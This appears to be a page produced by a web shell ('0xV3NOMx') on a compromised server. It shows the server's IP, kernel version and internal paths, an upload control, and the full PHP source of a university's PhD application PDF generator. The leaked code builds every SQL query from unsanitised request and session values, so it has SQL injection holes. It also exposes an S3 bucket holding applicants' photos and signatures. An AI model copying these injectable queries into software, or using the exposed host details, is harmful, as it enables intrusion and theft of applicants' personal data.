0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.14.134.195


Current Path : /proc/thread-self/root/var/www/html/phdadm/pgetadm/
Upload File :
Current File : //proc/thread-self/root/var/www/html/phdadm/pgetadm/acuapplicationFormPGReport.php

<?php
ob_start();
$main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7);
//$pdf_writer_class =$main_src."/tarka_pdf/fpdf.php";
$pdf_writer_class =$main_src."/tcpdf/tcpdf.php";
require_once($pdf_writer_class);
ini_set('memory_limit','900M');
ini_set('max_execution_time',0);

class MYPDF extends TCPDF {
    public $aobj_context;
     
    public function setData($aobj_context){
    	$this->aobj_context = $aobj_context;
    }
    public function Header() {
        // get the current page break margin
        $bMargin = $this->getBreakMargin();
        // get current auto-page-break mode
        $auto_page_break = $this->AutoPageBreak;
        // disable auto-page-break
        $this->SetAutoPageBreak(false, 0);
        // set bacground image

        $this->SetMargins(10,40,20,true);	
		$this->SetFillColor(248, 248 ,255);		
		$img_path = $this->aobj_context->main_src."/img/".$this->aobj_context->FUNIVCODE."_logo.jpg";
		// var_dump($img_path);
		// if(file_exists($img_path)) 
		// 	$this->Image($img_path,10,6,20,20);

		// $img_path1 = $this->aobj_context->main_src . "img/".$this->aobj_context->FUNIVCODE."_logo_2.jpeg";
        // //var_dump($img_path);
        // if (file_exists($img_path1)) {
        //     $this->Image($img_path1, 178, 3, 20, 20);
        // }
		
		// $this->SetFont('Times','B',13);
		// $this->SetY(5);
		// $this->Cell(0,4,$this->aobj_context->FUNIVNAME,0,1,'C');
		// //state
		// $this->SetFont('Times','',11);
		// $this->Cell(0,4,$this->aobj_context->s_state,0,1,'C');
		$img_path = $this->aobj_context->main_src . "img/".$this->aobj_context->FUNIVCODE."_header.jpeg";
		$pageWidth = $this->getPageWidth();
		$pageHeight = $this->getPageHeight();
		// var_dump($img_path);die();
		$this->Image($img_path, 0, 0, $pageWidth, 22, '', '', '', true, 300, '', false, false, 0, false, false, false);
				 
		$this->SetFont('Times','B',10);
		$this->Ln(22);
		
		$cur_year = date("Y");

		$this->Cell(180,5,'PHD Application Form  2024-2025','0',1,'C');
		// $this->SetFont('Times','B',8);
		$this->Cell(0,4,'Faculty Applied: '.$this->aobj_context->FDEGREE." - ".$this->aobj_context->FDESC,0,1,'C'); 
		$this->Cell(0,4,'Program: '.$this->aobj_context->FCOMBCODE." - ".$this->aobj_context->FCOMBNAME,0,1,'C'); 
		$this->Cell(0,4,'Application Type : '.$this->aobj_context->FAPPTYPE,0,1,'C'); 
		// $this->Ln(10);
		// var_dump($this->degree);
		$style = array(
			'position' => 'right',
			'align' => 'C',
			'stretch' => false,
			'fitwidth' => true,
			'cellfitalign' => '',
			'border' => false,
			'hpadding' => 'auto',
			'vpadding' => 'auto',
			'fgcolor' => array(0,0,0),
			'bgcolor' => false, //array(255,255,255),
			'text' => true,
			'font' => 'helvetica',
			'fontsize' => 8,
			'stretchtext' => 4
		);
		// var_dump($this->aobj_context->FAPPNO);
		$this->write1DBarcode($this->aobj_context->fprefix.$this->aobj_context->appno, 'C39', '160', '22','140', 15, 0.2, $style, 'R');
        // restore auto-page-break status
        $this->SetAutoPageBreak($auto_page_break, $bMargin);
        // set the starting point for the page content    
    }

    public function Footer() 
    {
        $this->SetY(-15);
        $this->SetFont('helvetica', 'I', 8);
        $this->Cell(50, 10,'IP : '.$_SERVER["REMOTE_ADDR"], 0, 0, 'L');
        $this->Cell(100, 10,'Date : ' .$this->aobj_context->current_date, 0, 0, 'C');

        $this->Cell(50, 10,'Page ' .$this->getPageNumGroupAlias().'/'.$this->getPageGroupAlias(), 0, 1, 'R');
    }
}

class AddmissionApplication
{	
	function DefaultConstructor($aobj_context)
	{
		$this->aobj_context=$aobj_context;
		$appno=$aobj_context->mobj_data["appno"];
		if($appno === NULL){
			$appno=$_SESSION["APPNO"];
		}
		// $appno=$_SESSION["APPNO"];
		$apptype = trim($aobj_context->mobj_data["fapptype"]);
		$fdegree = trim($aobj_context->mobj_data["fdegree"]);
		$combcode = trim($aobj_context->mobj_data["fcombcode"]);
		//$this->pdf=  new FPDF();
		$this->collcode=$_SESSION['collcode'];
		$degree = trim($aobj_context->mobj_data["degree"]);
		$this->ip=$_SERVER["REMOTE_ADDR"];
		$get_date="select DATE_FORMAT(now(), '%d/%m/%Y') as now_date,fprefix from entdeg where fdegree = '{$degree}'";
		$obj=$this->aobj_context->mobj_db->GetRow($get_date);
		$fprefix = $obj['fprefix'];

		$get_coll_name="select FUNIVNAME as 'FUNIVNAME',FUNIVCODE,
		FUNIVADD1 as 'state', concat(FUNIVCODE,'_',pdf_logo_path) as pdf_logo_path,
		ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control";

		$lobj_get_coll_name=$this->aobj_context->mobj_db->GetRow($get_coll_name);

		$app_type = "select papp.*, pcourse.*  from phdappfor papp 
					inner join phdcoursedet pcourse on pcourse.fdegree = papp.fdegree 
					and pcourse.fcombcode = papp.fcombcode where 
					papp.fapptype = '{$apptype}' and papp.fappno='{$appno}' 
					and papp.fdegree = '{$fdegree}' and papp.fcombcode='{$combcode}'";
		$lobj_get_app_type=$this->aobj_context->mobj_db->GetRow($app_type);

		$aobj_context->FAPPTYPE=$lobj_get_app_type['fapptype'];
		$aobj_context->FDEGREE=$lobj_get_app_type['fdegree'];
		$aobj_context->FDESC=$lobj_get_app_type['fdeggname'];
		$aobj_context->FCOMBCODE=$lobj_get_app_type['fcombcode'];
		$aobj_context->FCOMBNAME=$lobj_get_app_type['fcombname'];

		//var_dump($this->degree);
		$aobj_context->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME'];
		$aobj_context->s_state=$lobj_get_coll_name['state'];
		$aobj_context->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path'];
		$aobj_context->FEXAMAPPREQ=$lobj_get_coll_name['FEXAMAPPREQ'];
		$aobj_context->FUNIVCODE=$lobj_get_coll_name['FUNIVCODE']; 

		
		$app_no = trim($aobj_context->mobj_data["appno"]);

		$aobj_context->appno = $app_no;
		$aobj_context->fprefix = $fprefix;
		$aobj_context->current_date = $obj['now_date'];
		$this->current_date = $obj['now_date'];

		$this->pdf= new MYPDF('P');
		$this->pdf->setData($aobj_context);
		
	}
 
	function formcolldata()
	{
		$get_coll_name="select FUNIVNAME as 'FUNIVNAME',FUNIVCODE,
		FUNIVADD1 as 'state', concat(FUNIVCODE,'_',pdf_logo_path) as pdf_logo_path,
		ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control";

		$lobj_get_coll_name=$this->aobj_context->mobj_db->GetRow($get_coll_name);
		
		$this->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME'];
		$this->s_state=$lobj_get_coll_name['state'];
		$this->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path'];
		$this->FEXAMAPPREQ=$lobj_get_coll_name['FEXAMAPPREQ'];
		$this->FUNIVCODE=$lobj_get_coll_name['FUNIVCODE']; 
	}
	
		
	function writeApplication($per_details,$rltacad,$rltexp,$rltpub,$rltoth,$rltugc,$pay_res)
	{

		// var_dump($rltacad);
	// var_dump($db,$per_details, $fee_det,$res_optopns,$per_details['FDEGREE1'], $res_prevmarks,$res_lanmarks);


		$pdf=$this->pdf;

		// var_dump($per_details);



		$pdf->SetMargins(10,40,25,false);
		$pdf->startPageGroup();
		$pdf->AddPage("P");
		



		if($per_details){

		}else{
			$pdf->SetFont('Times','UB',25);
			$pdf->cell(0,5, "Fee Not Paid","",0,"C");
			return;
		}

		$pdf->SetFont('Times','UB',10);
		$this->degree = $degdet[$degree];
		//$pdf->cell(0,7,"Courses Preference : ".$degree." - ".$degdet[$degree],0,1,'C');

		$head = '<style>
		td {
			border: 0.5px solid black;
		}
	 </style>
	 <table cellpadding="3" cellspacing="0" border="0" width="100%">';

	//====================Subject Details====================================
	$table2 = '<style>
		td, th {
			border: 0.5px solid black;
		}
	 </style>
	<table cellpadding="2" cellspacing="0" border="0" width="100%">';
	$i = 1;
	$fprefix = "";
	$fprefix = $res_optopns[0]['fprefix'];
	// foreach ($res_optopns as $value) {
	// 	$degr_desn = $value['fdescpn'];
	// 	$table2 .= '<tr nobr="true">
	// 	<td align="center">' . 'Application for ' . $value['fdescpn'] . ' ['  . $value['fdegree'] . ']' . '</td>			
	// 	</tr>';

	// 	$i++;
	// }


	$table2 .= '</table>';

	$x = $pdf->GetX();
	$y = $pdf->GetY();
	$pdf->SetX(11);
	$pdf->writeHTMLcell(185, 0, $x, $y, $table2, false, true, false, false, 'C');
	
	$pdf->ln(7);
		//====================Personal Details====================================
		$pdf->SetFont('Times','',10);
		$html = '<h3 style="background-color: #918988; color: rgb(255, 255, 255);">I. Personal Details</h3>';
		$x = $pdf->GetX();
		$y = $pdf->GetY();		
		$pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false);

		$path = realpath(__DIR__ .'/..');
		//var_dump($path.'/pget_photos'.'/'.$per_details['fphotopath']);
		//var_dump($path.'/'.$per_details['fphotopath']);
		$photo_url = "https://admission-certificates.s3.ap-south-1.amazonaws.com";
		$i= 1;
		// var_dump($photo_url.'/'.$per_details['FPHOTOPATH']);
		// var_dump($per_details['FPHOTOPATH']);
		
		
		$table1 = '<style>
			td {
			    border: 0.5px solid black;
			}
			.lable {
				font-weight: bold;
			}
		 </style>
		<table cellpadding="3" cellspacing="0">
			<tr nobr="true">
				<td width="150" class="lable">Application No.</td>
				<td width="270" colspan="3" style = "font-size:15px;">'.$per_details['FAPPNO'].'</td>
				<td width="100" rowspan="5"><img width="100" height="100" src="'.$photo_url.'/'.$per_details['FPHOTOPATH'].'" /></td>
		</tr>';


		$table1 .='<tr nobr="true">
				<td width="150" class="lable">Name of the Applicant(As per 10th Class)</td>
				<td width="270" colspan="3">'.$per_details['FNAME'].'</td></tr>';

		$table1 .='<tr nobr="true">
				<td width="80" class="lable">Gender </td>
				<td width="70">'.$per_details['FGENDER'].'</td>
				<td width="150" class="lable">Date of Birth (DD/MM/YYYY)</td>
				<td width="120">'.$per_details['dob'].'</td>
				</tr>';



		$table1 .='<tr nobr="true">								
				<td width="80" class="lable">Nationality </td>
				<td width="70">'.$per_details['FNATIONALITY'].'</td>

				<td width="150" class="lable">Aadhar Number</td>
				<td width="120">'.$per_details['FAADHAAR'].'</td>
				</tr>';


		$table1 .='<tr nobr="true">				
							
				<td width="80" class="lable">Category</td>
				<td width="70">'.$per_details['FCATEGORY'].'</td>


				<td width="150" class="lable">Blood Group</td>
				<td width="120">'.$per_details['FBLOODGRP'].'</td>
				
				</tr>';

		
	

		$table1 .='<tr nobr="true">
				<td width="150" class="lable">Father Name</td>
				<td width="370">'.$per_details['FFATNAME'].'</td>
				</tr>';
		$table1 .='<tr nobr="true">
				<td width="150" class="lable">Mother Name</td>
				<td width="370">'.$per_details['FMOTNAME'].'</td>
				</tr>';

	
		
				
		$table1 .= '</table>';
		// echo $table1;

		$pdf->SetX(11);
		// $pdf->SetY(42);
		
		$pdf->writeHTML($table1, false, true, false, false, 'L');
		$pdf->ln(7);
		$html = '<h3 style="background-color: #918988; color: rgb(255, 255, 255);">II. Communication Details</h3>';
		$x = $pdf->GetX();
		$y = $pdf->GetY();
		$pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false);
		

		$per_details['fperadd'] = $per_details['FPERMADD1'].' '.$per_details['FPERMADD2'].' '.$per_details['FPERMADD3'].' '.$per_details['FPERMDIST'].' '.$per_details['FPERMSTATE'].' - '.$per_details['FPERMPIN'];
		$per_details['fcuradd'] = $per_details['FCURRADD1'].' '.$per_details['FCURRADD2'].' '.$per_details['FCURRADD3'].' '.$per_details['FCURRDIST'].' '.$per_details['FCURRSTATE'].' - '.$per_details['FCURRPIN'];
		$table2 = '<style>
			td {
			    border: 0.5px solid black;
			}
			.lable {
				font-weight: bold;
			}
		 </style>
		<table cellpadding="3" cellspacing="0">
			<tr nobr="true">
				<td width="150" class="lable">Permanent Address</td>
				<td width="370">'.$per_details['fperadd'].'</td>
		</tr>';

		$table2 .= '<tr nobr="true">
				<td width="150" class="lable">Communication Address</td>
				<td width="370">'.$per_details['fcuradd'].'</td>
		</tr>'; 

		

		$table2 .= '<tr nobr="true">
				<td width="150" class="lable">Mobile No.</td>
				<td width="370">'.$per_details['FMOBILENO'].'</td>
		</tr>'; 
		$table2 .= '<tr nobr="true">
				<td width="150" class="lable">Email Address</td>
				<td width="370">'.$per_details['FEMAIL'].'</td>
		</tr>'; 

		$table2 .= '</table>';
		$pdf->SetX(11);
		$pdf->writeHTML($table2, false, true, false, false, 'L');
		$pdf->ln(7);



			$html = '<h3 style="background-color: #918988; color: rgb(255, 255, 255);">III. Academic Details </h3>';
			$x = $pdf->GetX();
			$y = $pdf->GetY();

			
			$pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false);

			// $pdf->SetX(2);
			$table3 = '<style>
						td {
							border: 0.5px solid black;
						}
						.lable {
							font-weight: bold;
						}
					</style>
					<table cellpadding="3" cellspacing="0">
					<tr nobr="true">
							<td width="50" align="center" class="lable">Degree</td>
							<td width="100" align="center" class="lable">Institute/College</td>
							<td width="126" align="center" class="lable">University & Address</td>
							<td width="50" align="center" class="lable">Max Marks</td>
							<td width="50" align="center" class="lable">Obtained</td>
							<td width="50" align="center" class="lable">Perc</td>
							<td width="50" align="center" class="lable">Class</td>
							<td width="50" align="center" class="lable">Year</td>		
					</tr>';

			foreach($rltacad as $key => $value){
				$table3 .= '<tr>';
				$table3 .= '<td>'.$value["fdegree"].'</td>';
				$table3 .= '<td>'.$value["fcollname"].'</td>';
				$table3 .= '<td>'.$value["funivadd"].'</td>';
				$table3 .= '<td align="center">'.$value["fmaxmarks"].'</td>';					
				$table3 .= '<td align="center">'.$value["fobtmarks"].'</td>';
				$table3 .= '<td align="center">'.$value["fpercgpa"].'</td>';
				$table3 .= '<td align="center">'.$value["fclass"].'</td>';
				$table3 .= '<td align="center">'.$value["fypass"].'</td>';
				$table3 .= '</tr>';		
			}	
			$table3.='</table>';	
			
		$pdf->SetX(11);
		$pdf->writeHTML($table3, false, true, false, false, 'L');
		$pdf->ln(7);
		
		$html = '<h3 style="background-color: #918988; color: rgb(255, 255, 255);">IV. Are you claiming for Ph.D Enterance Examination Exemption as per ACU-Ph.D Regulations 2022?</h3>';
		$x = $pdf->GetX();
		$y = $pdf->GetY();
		$pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false);

		$pdf->SetX(11);
		
		$pdf = $this->pdf;

		$x=1;
		
			// if($rltugc['fphdexam'] === "Yes"){
		if(count($rltugc) > 0){
			
			$table0 = '<style>
					td {
						border: 0.5px solid black;
					}
					.lable {
						font-weight: bold;
					}
				</style>
				<table cellpadding="3" cellspacing="0">
				<tr nobr="true">
						<td width="86" align="center" class="lable">UGC-NET Degree</td>
						<td width="70" align="center" class="lable">Roll No</td>
						<td width="100" align="center" class="lable">Award Letter Ref No.</td>
						<td width="70" align="center" class="lable">Award Letter Date</td>
						<td width="150" align="center" class="lable">Subject</td>
						<td width="50" align="center" class="lable">Yes</td>		
				</tr>';

			foreach($rltugc as $key => $value){
				$table0 .= '<tr>';
				$table0 .= '<td>'.$value["fugnetdeg"].'</td>';
				$table0 .= '<td>'.$value["frollno"].'</td>';
				$table0 .= '<td>'.$value["frefno"].'</td>';
				$table0 .= '<td align="center">'.$value["fawdate"].'</td>';
				$table0 .= '<td>'.$value["fsubject"].'</td>';					
				$table0 .= '<td align="center">'.$value["fphdexam"].'</td>';
				$table0 .= '</tr>';		
			}	
			
			$table0.='</table>';	
		
			$pdf->SetX(11);
			$pdf->writeHTML($table0, false, true, false, false, 'L');
		}

		if(count($rltexp) > 0){
			$pdf->ln(18);
			$html = '<h3 style="background-color: #918988; color: rgb(255, 255, 255);">V. Employment Details for partime applicant</h3>';
			$x = $pdf->GetX();
			$y = $pdf->GetY();
			$pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false);


			$table5 = '<style>
						td {
							border: 0.5px solid black;
						}
						.lable {
							font-weight: bold;
						}
					</style>
					<table cellpadding="3" cellspacing="0">
					<tr nobr="true">
							<td width="100" align="center" class="lable">Experience In</td>
							<td width="50" align="center" class="lable">From Date</td>
							<td width="50" align="center" class="lable">To Date</td>
							<td width="100" align="center" class="lable">Employer Exp.</td>
							<td width="126" align="center" class="lable">Designation</td>
							<td width="100" align="center" class="lable">Duration</td>	
					</tr>';

			foreach($rltexp as $key => $value){
				$table5 .= '<tr>';
				$table5 .= '<td>'.$value["fexpin"].'</td>';
				$table5 .= '<td align="center">'.$value["fromdate"].'</td>';
				$table5 .= '<td align="center">'.$value["todate"].'</td>';
				$table5 .= '<td>'.$value["femployer"].'</td>';					
				$table5 .= '<td>'.$value["fdesgn"].'</td>';
				$table5 .= '<td align="center">'.$value["fduration"].'</td>';
				$table5 .= '</tr>';		
			}	
			$table5.='</table>';	
			
		$pdf->SetX(11);
		$pdf->writeHTML($table5, false, true, false, false, 'L');
		$pdf->ln(7);
	}
			// // $pdf->SetX(2);
			
			// $pdf = $this->pdf;

			// $x=1;
			// $pdf->SetFont('Times', 'B', 9);
			// $pdf->cell(40,5, "Experience","LRT",0,"C");
			// $pdf->cell(20,5, "From ","LRT",0,"C");
			// $pdf->cell(20,5, "To","LRT",0,"C");
			// $pdf->cell(55,5, "Employer ","LRT",0,"C");
			// $pdf->cell(30,5, "Designation","LRT",0,"C");
			// $pdf->cell(20,5, "Duration","LRT",1,"C");
			


			// $pdf->SetFont('Times', 'B', 9);
			// $pdf->cell(40,1, "In","LB",0,"C");
			// $pdf->cell(20,1, "Date","LB",0,"C");
			// $pdf->cell(20,1, "Date","LB",0,"C");
			// $pdf->cell(55,1, "Experience","LB",0,"C");
			// $pdf->cell(30,1, "","LB",0,"C");
			// $pdf->cell(20,1, "","LBR",1,"C");
			

			


			// foreach($rltexp as $key => $value){
			
            // $pdf->SetFont('Times','',9);
            // $pdf->cell(40,7, $value['fexpin'],"1",0,"C");						
            // $pdf->cell(20,7, $value['fromdate'],"1",0,"C");
			// $pdf->cell(20,7, $value['todate'],"1",0,"C");						
			// $pdf->cell(55,7, $value['femployer'],"1",0,"C");						
            // $pdf->cell(30,7, $value['fdesgn'],"1",0,"C");
			// $pdf->cell(20,7, $value['fduration'],"1",1,"C");						
			
			// }
        


			$pdf->ln(7);
			

			$pdf->SetMargins(10,40,25,false);
			$html = '<h3 style="background-color: #918988; color: rgb(255, 255, 255);">VI. Research Experience </h3>';
			$x = $pdf->GetX();
			$y = $pdf->GetY();
			// $pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false);
			
			$table4 = '<style>
						td {
							border: 0.5px solid black;
						}
						.lable {
							font-weight: bold;
						}
					</style>
					<table cellpadding="3" cellspacing="0">
					<tr nobr="true">
							<td width="150"  class="lable">Area of Research Work</td>
							<td width="150"  class="lable">Title of the Project</td>
							<td width="50" align="center" class="lable">From Date</td>
							<td width="50" align="center" class="lable">To Date</td>
							<td width="126"  class="lable">Place</td>
								
					</tr>';

			foreach($rltpub as $key => $value){
				$table4 .= '<tr>';
				$table4 .= '<td>'.$value["fresarea"].'</td>';
				$table4 .= '<td>'.$value["ftitle"].'</td>';
				$table4 .= '<td align="center">'.$value["fromdate"].'</td>';
				$table4 .= '<td align="center">'.$value["todate"].'</td>';					
				$table4 .= '<td>'.$value["fplace"].'</td>';
				$table4 .= '</tr>';		
			}	
			$table4.='</table>';
			
			// $table5 = '<style>
			// 			td {
			// 				border: 0.5px solid black;
			// 			}
			// 			.lable {
			// 				font-weight: bold;
			// 			}
			// 			</style>
			// 			<table border="1" cellpadding="3" cellspacing="0">
			// 				<tr nobr="true">
			// 				<td   width="100" align="center" class="lable">Area of Research Work</td>
			// 				<td   width="100" align="center" class="lable">Title of the Project</td>
			// 				<td  width="100" align="center" class="lable">From Date</td>
			// 				<td  width="100" align="center" class="lable">To Date</td>
			// 				<td  width="100" align="center" class="lable">Place</td></tr>';
			// foreach($rltpub as $key => $value){
			// 	$table5.='<tr>';
			// 	$table5.='<td width="100">'.$value['fresarea'].'</td>';
			// 	$table5.='<td width="100">'.$value['ftitle'].'</td>';
			// 	$table5.='<td width="100" align="center">'.$value['fromdate'].'</td>';
			// 	$table5.='<td width="100" align="center">'.$value['todate'].'</td>';
			// 	$table5.='<td width="100" align="center">'.$value['fplace'].'</td>';
			// 	$table5.='</tr>';
			// }
			// $table5.='<table/>';
			
			// $pdf->writeHTML($table4, false, true, false, false, 'L');
			$pdf->ln(7);

			
			
        
		
		
		
		

		$per_details['fperadd'] = $per_details['fpermadd1'].' '.$per_details['fpermadd2'].' '.$per_details['fpermadd3'].' '.$per_details['fpermdist'].' '.$per_details['fpermstate'].' - '.$per_details['fpermpin'];
		$per_details['fcuradd'] = $per_details['fcurradd1'].' '.$per_details['fcurradd2'].' '.$per_details['fcurradd3'].' '.$per_details['fcurrdist'].' '.$per_details['fcurrstate'].' - '.$per_details['fcurrpin'];
	
		
		// $pdf->startPageGroup();
		$pdf->ln(5);
		$x = $pdf->GetX();
		$y = $pdf->GetY();
			$html = '<h3 style="background-color: #918988; color: rgb(255, 255, 255);">VIII. Payment Details</h3>';
			
		$pdf->ln(5);
		
		
		$pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false);
		
		$table2 = '<style>
			td {
			    border: 0.5px solid black;
			}
			.lable {
				font-weight: bold;
			}
		 </style>
		<table cellpadding="3" cellspacing="0">
			<tr nobr="true">
				<td width="150" class="lable">Payment Type</td>
				<td width="370">'.$pay_res['fpaymode'].'</td>
		</tr>';

		// $table2 .= '<tr nobr="true">
		// 		<td width="150" class="lable">Order ID</td>
		// 		<td width="370">'.$per_details['FORDERID'].'</td>
		// </tr>'; 

		

		$table2 .= '<tr nobr="true">
				<td width="150" class="lable">Payment ID</td>
				<td width="370">'.$pay_res['fpayid'].'</td>
		</tr>'; 
		// $table2 .= '<tr nobr="true">
		// 		<td width="150" class="lable">Payment Status</td>
		// 		<td width="370">'.$pay_res['FPAYSTATUS'].'</td>
		// </tr>'; 


		$table2 .= '<tr nobr="true">
				<td width="150" class="lable">Amount Paid</td>
				<td width="370">'.$pay_res['famount'].'</td>
		</tr>'; 


		$table2 .= '<tr nobr="true">
				<td width="150" class="lable">Date</td>
				<td width="370">'.$pay_res['fdate'].'</td>
		</tr>'; 

		$table2 .= '</table>';
		$pdf->SetX(11);
		$pdf->writeHTML($table2, false, true, false, false, 'L');
		// $pdf->ln(5);

		$pdf->SetFont('Times','BU',13);
			// $pdf->ln(12);
		$pdf->Cell(180,7,'Declaration by the Candidate',0,1,'C');
		// $pdf->ln(8);
		$str = "I hereby declare that the information given above and in the enclosed documents is true to the best of my knowledge and belief and nothing has been concealed therein. I am well aware of the fact that if the information given by me is proved false / not true at any point of time, my candidature will be rejected / admission will be cancelled without assigning any reasons thereof.";
		$pdf->ln(5);
		$pdf->SetFont('Times','',13);
		$pdf->MultiCell(180,4,$str,0,'J');
		// $pdf->writeHTML($str, false, true, false, false, 'L');
		$pdf->ln(20);
		// $pdf->SetFont('Times','B',10);
		$pdf->Cell(160,4,'Date',0,0,'L');
		$sign = $photo_url.'/'.$per_details['FSIGNPATH'];
		
		$pdf->Image($sign, 155, $pdf->GetY()-15, 40,20);
		
		
		$pdf->Cell(30,4,'Signature of the Student ',0,1,'R');
		$pdf->ln(8);



		$pdf->SetFont('Times','BU',13);

		// $pdf->Cell(180,7,'Declaration by the Candidate',0,1,'C');

		$str = "Please send the completed application form along with the photocopy of uploaded documents to the Below mention Address.
		To,
		The Registrar,
		Adichunchanagiri University,
		NH-75, B.G. Nagara - 571448,
		Nagamangala Taluk,
		Mandya District, Karnataka, India";
	
		$pdf->SetFont('Times','',14);
		$pdf->MultiCell(180,4,$str,1,'L');
				
	}
		
	function SendOutput()
	{
		$this->pdf->Output("PHD_Application.pdf","I");
	}	 
}

function acuapplicationFormPGReport($aobj_context)
{
	
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

	$appno=$aobj_context->mobj_data["appno"];

	if($appno === NULL){
		$appno=$_SESSION["APPNO"];
	}

	
	$query = "select FSIGNPATH from phdupdoc where fappno = '{$appno}'";
	$sign_details = $aobj_context->mobj_db->GetRow($query);

	if($sign_details['FSIGNPATH']==""){
		$arr['msg'] = 'Please Upload Signature upload documents';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
		return;
	}

	$per_details_query = "select date_format(str_to_date(fdob,'%Y-%m-%d'),'%d/%m/%Y')as dob,
						  ps.*, pu.* from phdstudadm ps 
						  inner join phdupdoc pu on ps.fappno = pu.fappno 
						  where ps.fappno='{$appno}'";
	
	$per_details = $aobj_context->mobj_db->GetRow($per_details_query);

    $qrypub = "select *, date_format(str_to_date(ffrmdate,'%Y-%m-%d'),'%d/%m/%Y')as fromdate,
				date_format(str_to_date(ftodate,'%Y-%m-%d'),'%d/%m/%Y')as todate
			   from phdpub
    		   where fappno = '{$appno}'";

	$rltpub = $aobj_context->mobj_db->GetAll($qrypub);


	$qryexp="select *, date_format(str_to_date(ffrom,'%Y-%m-%d'),'%d/%m/%Y')as fromdate,
			date_format(str_to_date(fto,'%Y-%m-%d'),'%d/%m/%Y')as todate
			from phdemp
			where fappno = '{$appno}'";

	$rltexp = $aobj_context->mobj_db->GetAll($qryexp);

	$qryacad = "select * from phdacademic where fappno = '{$appno}'";

	$rltacad = $aobj_context->mobj_db->GetAll($qryacad);

	$qryugc = "select ifnull(frollno,'') as frollno,ifnull(fsubject,'') as fsubject,
    ifnull(frefno,'') as frefno,date_format(ifnull(fawdate,''),'%d/%m/%Y') as fawdate,
    ifnull(fmaxmarks,'') as fmaxmarks,ifnull(fqual,'') as fqual,
    ifnull(fmarksobt,'') as fmarksobt,ifnull(fper,'') as fper, fphdexam,
	ifnull(fugnetdeg,'')as fugnetdeg,ifnull(fugnetdeg,'')as fugnetdeg
	from phdugcnet
    where fappno = '{$appno}'";

	$rltugc = $aobj_context->mobj_db->GetAll($qryugc);

	$qryoth = "select fprofexp,fawards,fproexpgain
    from phdothdet
    where fappno = '{$appno}'";
	$rltoth = $aobj_context->mobj_db->GetAll($qryoth);

	$qrydeg = "select pd.fdegcode as fdegcode ,pd.fdespcn as fdespcn 
    from phddeg pd
    inner join phdstudadm ps on ps.fphddeg = pd.fdegcode
    where ps.fappno = '{$appno}'";

	$per_deg = $aobj_context->mobj_db->GetRow($qrydeg);

	$payment = "select *,date_format(str_to_date(fdate,'%Y-%m-%d'),'%d/%m/%Y')as fdate  from phdappfor where fappno='{$appno}'";
	$pay_res = $aobj_context->mobj_db->GetRow($payment);

	$aobj_context->degree=$per_deg['fdespcn'];

	$cnt = 0;

	$class_obj = new AddmissionApplication();
	
	$class_obj->DefaultConstructor($aobj_context);

	$class_obj->writeApplication($per_details,$rltacad,$rltexp,$rltpub,$rltoth,$rltugc,$pay_res);

	$class_obj->SendOutput();
}